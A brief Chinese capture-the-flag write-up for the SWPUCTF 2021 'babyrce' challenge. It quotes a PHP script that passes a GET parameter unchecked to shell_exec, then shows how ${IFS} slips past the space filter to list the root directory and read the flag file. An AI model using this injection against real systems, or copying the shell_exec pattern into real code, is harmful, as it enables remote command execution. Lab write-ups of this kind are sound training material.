[SWPUCTF 2021 新生赛]babyrce
打开靶机之后看到php脚本
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
If条件中看到在cookie中admin=1成立,则包含一个文件,使用hackbar执行一下
发现文件rasalghul.php,那就查看一下
得到一个新的php脚本
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
进行审计,发现过滤空格,用户传入的url变量会被exec执行,传入Linux指令
为了避免过滤构造成?url=ls${IFS}/
最后得到文件目录,直接进行cat命令?url=cat${IFS}/flllllaaaaaaggggggg
得到flag